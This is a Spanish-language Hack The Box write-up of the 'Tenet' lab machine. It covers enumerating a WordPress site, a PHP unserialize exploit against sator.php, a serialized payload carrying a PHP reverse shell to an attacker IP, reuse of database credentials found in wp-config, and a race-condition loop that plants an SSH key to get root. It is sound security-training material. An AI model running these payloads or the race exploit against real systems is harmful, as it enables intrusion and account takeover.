This page looks best with JavaScript enabled

Hack The Box - Tenet

Tenet es presentada con dificultad media, la enumeracion en wordpress nos llevo al codigo fuente de una pagina la cual fue vulnerada mediante un objeto serializado. Se utilizaron las credenciales en archivos de configuracion para realizar movimiento lateral. Un pequeño script para la escritura de nuestra clave privada en un archivo temporal proporciono una shell root.

Nombre Tenet box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.10.223
Maker

egotisticalSW

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.9, 4.7, 4.2, 5.8, 5.3],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[7, 4, 2, 8, 6],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

NMAP

Escaneo de puertos con nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Nmap 7.91 scan initiated Tue Mar 30 23:41:39 2021 as: nmap -p- --min-rate 10000 -oN allports 10.10.10.223
Warning: 10.10.10.223 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.223 (10.10.10.223)
Host is up (0.13s latency).
Not shown: 36387 closed ports, 29146 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Tue Mar 30 23:43:09 2021 -- 1 IP address (1 host up) scanned in 89.70 seconds

# Nmap 7.91 scan initiated Tue Mar 30 23:43:28 2021 as: nmap -p 22,80 -sV -sC -oN serviceports 10.10.10.223
Nmap scan report for 10.10.10.223 (10.10.10.223)
Host is up (0.067s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 30 23:43:38 2021 -- 1 IP address (1 host up) scanned in 9.99 seconds

HTTP

Encontramos la pagina de apache en el puerto 80.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

1
2
3
/index.html (Status: 200)
/users.txt (Status: 200)
/wordpress (Status: 301)

El archivo users.txt solo muestra un pequeño mensaje.

1
Success

WORDPRESS

La pagina de wordpress tiene configurado un dominio tenet.htb.

1
2
3
4
5
6
7
8
HTTP/1.1 404 Not Found
Date: Wed, 31 Mar 2021 03:52:10 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <http://tenet.htb/index.php/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

WPSCAN

Utilizamos wpscan para enumerar plugins vulnerables y usuarios registrados. Encontramos dos nombres de usuario: protagonist y neil.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
[+] URL: http://tenet.htb/ [10.10.10.223]
[+] Started: Tue Mar 30 23:51:33 2021

Interesting Finding(s):
[... REDACTED ...]

[+] Upload directory has listing enabled: http://tenet.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 5.6 identified (Outdated, released on 2020-12-08).
 | Found By: Rss Generator (Passive Detection)
 |  - http://tenet.htb/index.php/feed/, <generator>https://wordpress.org/?v=5.6</generator>
 |  - http://tenet.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.6</generator>

[+] WordPress theme in use: twentytwentyone
 | Location: http://tenet.htb/wp-content/themes/twentytwentyone/
 [... REDACTED ...]
 | Version: 1.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0, Match: 'Version: 1.0'

[+] Enumerating Vulnerable Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:01 <========== ... ======> (10 / 10) 100.00% Time: 00:00:01

[i] User(s) Identified:

[+] protagonist
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://tenet.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] neil
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[... REDACTED ...]

Asi mismo enumeramos los diferentes posts, donde logramos obtener informacion en los comentarios de neil, menciona el archivo sator.php y backup.

1
neil: did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!

Encontramos que el archivo sator.php aun existe pero no en el dominio que encontramos si no directamente en la direcion IP, por lo que posiblemente el backup esté en el mismo lugar.

1
2
[+] Grabbing users from text file <br>
[] Database updated <br>

PHP UNSERIALIZE - RCE

Neil habla de un backup pero no especifíca de que archivo/software/db, aunque menciona sator.php, agregamos la extension de un backup (bak) al archivo sator.php.bak y logramos obtener el codigo fuente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class DatabaseExport
{
	public $user_file = 'users.txt';
	public $data = '';

	public function update_db()
	{
		echo '[+] Grabbing users from text file <br>';
		$this-> data = 'Success';
	}


	public function __destruct()
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	//	echo 'Gotta get this working properly...';
	}
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();

?>

Al analizar el codigo, observamos una variable que obtiene el valor pasado al parametro arepo por medio de una solicitud GET, este valor es unserializado (unzerialize($_GET['arepo'])), por ultimo se crea un objeto del tipo DatabaseExport() y realiza la ejecucion de la funcion update_db(). Sabiendo lo anterior vamos a enfocarnos en la funcion unserialize() ya que si se le pasa un valor serializado este puede ser ejecutado como se indica en la documentacion de php.

Un post que explica como es posible explotar esta vulnerabilidad. En el caso de sator.php, este crea y escribe dentro de un archivo con el valor de las variables. Si podriamos cambiar estos valores podriamos crear archivos con codigo PHP para la ejecucion de nuestro propio codigo. Para explotar unserialize() se crea una clase, se crea un objeto, se serializa y codifica en url, este valor se le pasa a sator.php?arepo=VALOR.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
class DatabaseExport
{
	public $user_file = 'batman.php';
	public $data = '<?php echo "knock knock"; ?>';
}

echo urlencode(serialize(new DatabaseExport));

?>
1
2
3
4
5
┌──(kali㉿kali)-[~/htb/tenet]
└─$ php example.php
O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A10%3A%22batman.php%22%3Bs%3A4%3A%22data%22%3Bs%3A28%3A%22%3C%3Fphp+echo+%22knock+knock%22%3B+%3F%3E%22%3B%7D
┌──(kali㉿kali)-[~/htb/tenet]
└─$ curl -s "http://10.10.10.223/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A10%3A%22batman.php%22%3Bs%3A4%3A%22data%22%3Bs%3A28%3A%22%3C%3Fphp+echo+%22knock+knock%22%3B+%3F%3E%22%3B%7D"

Confirmamos que el archivo se haya creado, por lo que ahora vamos a ejecutar comandos para enumerar la maquina utilizando una webshell o ejecutando una shell inversa.

1
2
3
4
5
┌──(kali㉿kali)-[~/htb/tenet]
└─$ curl -s http://10.10.10.223/batman.php
knock knock                                                                                                                    
┌──(kali㉿kali)-[~/htb/tenet]
└─$

WWW-DATA - USER

Utilizamos el siguiente codigo en la variable $data generamos el codigo serializado y codificado, se envia a la solicitud a sator.php para obtener una shell con el usuario www-data.

1
2
3
<?php
[... REDACTED ...]
$data = '<?php $sock=fsockopen("10.10.10.10",1338);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);echo "hi" ?>';
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/htb/tenet]
└─$ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.10.10] from tenet.htb [10.10.10.223] 48066
can't access tty; job control turned off
which python
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash");'
whoami;id;pwd
whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html
www-data@tenet:/var/www/html$

NEIL - USER

Realizamos una pequeña enumeracion en los archivos de wordpress donde logramos encontrar una contraseña que aparentemente es del usuario neil para la base de datos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
/** MySQL database username */                                                 
define( 'DB_USER', 'neil' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'WP_HOME', 'http://tenet.htb'); 
define( 'WP_SITEURL', 'http://tenet.htb');

Verificamos que este mismo usuario exista en la maquina y tenga acceso en la maquina.

1
2
3
4
www-data@tenet:/var$
root:x:0:0:root:/root:/bin/bash
neil:x:1001:1001:neil,,,:/home/neil:/bin/bash
www-data@tenet:/var$

Utilizamos la contraseña encontrada, logramos obtener una shell y nuestra flag user.txt en la carpeta de neil.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
su: Authentication failure
www-data@tenet:/$ su neil
Password: Opera2112

www-data@tenet:/$ echo $HOME
/home/neil
www-data@tenet:/$ cd
www-data@tenet:/$ cat user.txt | cut -c1-15
ebd148d5598d5dd
neil@tenet:~$

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos root (sudo) para ejecutar el script enableSSH.sh. Vemos el codigo del script y realiza la escritura de la clave publica ssh del usuario root, pero vemos en la funcion addKey que genera un archivo temporal donde realiza la escritura de la clave publica, luego verifica si el archivo existe y si es asi escribe la clave en /root/.ssh/authorized_keys, finalmente elimina el archivo temporal creado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
neil@tenet:~$ sudo -l -l
Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User neil may run the following commands on tenet:

Sudoers entry:
    RunAsUsers: ALL
    RunAsGroups: ALL
    Options: !authenticate
    Commands:
        /usr/local/bin/enableSSH.sh
neil@tenet:~$ ls -lah /usr/local/bin/enableSSH.sh
-rwxr-xr-x 1 root root 1.1K Dec  8 13:46 /usr/local/bin/enableSSH.sh
neil@tenet:~$ cat /usr/local/bin/enableSSH.sh
#!/bin/bash
checkAdded() {
        sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3) # root@ubuntu
        if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
                /bin/echo "Successfully added $sshName to authorized_keys file!"
        else
                /bin/echo "Error in adding $sshName to authorized_keys file!"
        fi
}

checkFile() {
        if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
                /bin/echo "Error in creating key file!"
                if [[ -f $1 ]]; then /bin/rm $1; fi
                exit 1
        fi
}

addKey() {
        tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
        (umask 110; touch $tmpName)
        /bin/echo $key >>$tmpName
        checkFile $tmpName
        /bin/cat $tmpName >>/root/.ssh/authorized_keys
        /bin/rm $tmpName
}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded # root@ubuntu
neil@tenet:~$

La creacion del archivo temporal (tmpName), la escritura de la clave en este y la eliminacion del archivo temporal es demaciado rapida, por lo que debemos de escribir lo más rapido posible en el archivo temporal nuestra clave publica. Para ello realizamos un bucle while escribiendo en el archivo /tmp/ssh-* nuestra clave, hasta que en algun momento se realice la escritura ejecutando en repetidas ocaciones el script con sudo, al mismo tiempo realizamos intentos de ingreso por medio de ssh con usuario root a traves de ssh y esperamos a que en algun momento dado podamos acceder a la cuenta de root.

1
2
3
4
5
#!/bin/bash
while :
do
    echo "ssh-rsa AAAAB3Nz[... REDACTED ...] neil@tenet" | tee /tmp/ssh* > /dev/null
done
1
2
#Intentos en SSH.
while true; do ssh -i .ssh/id_rsa root@localhost 2>/dev/null; done

Despues de varios intentos logramos obtener una shell con el usuario root y la flag root.txt.
image

1
2
3
4
5
6
7
8
9
root@tenet:~# whoami; id; pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
root@tenet:~# ls
root.txt
root@tenet:~# cat root.txt | cut -c1-15
aaf8bff1f2fc43e
root@tenet:~#
CRONTAB

Encontramos un cron especificamente para eliminar el archivo authorized_keys.

1
2
3
4
5
root@tenet:~# crontab -l
#  [ ... REDACTED ...]
# m h  dom mon dow   command
*/3 * * * * rm /root/.ssh/authorized_keys
*/3 * * * * rm /dev/shm/*
MYSQL

Dentro de la base de datos de wordpress encontramos la contraseña encriptada del usuario protagonist.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
mysql> select user_login,user_pass from wp_users;
+-------------+------------------------------------+
| user_login  | user_pass                          |
+-------------+------------------------------------+
| protagonist | $P$BqNNfN07OWdaEfHmGwufBs.b.BebvZ. |
| neil        | $P$BtFC5SOvjEMFWLE4zq5DWXy7sJPUqM. |
+-------------+------------------------------------+
2 rows in set (0.00 sec)

mysql>
Share on

Dany Sucuc
WRITTEN BY
Dany Sucuc
RedTeamer & Pentester wannabe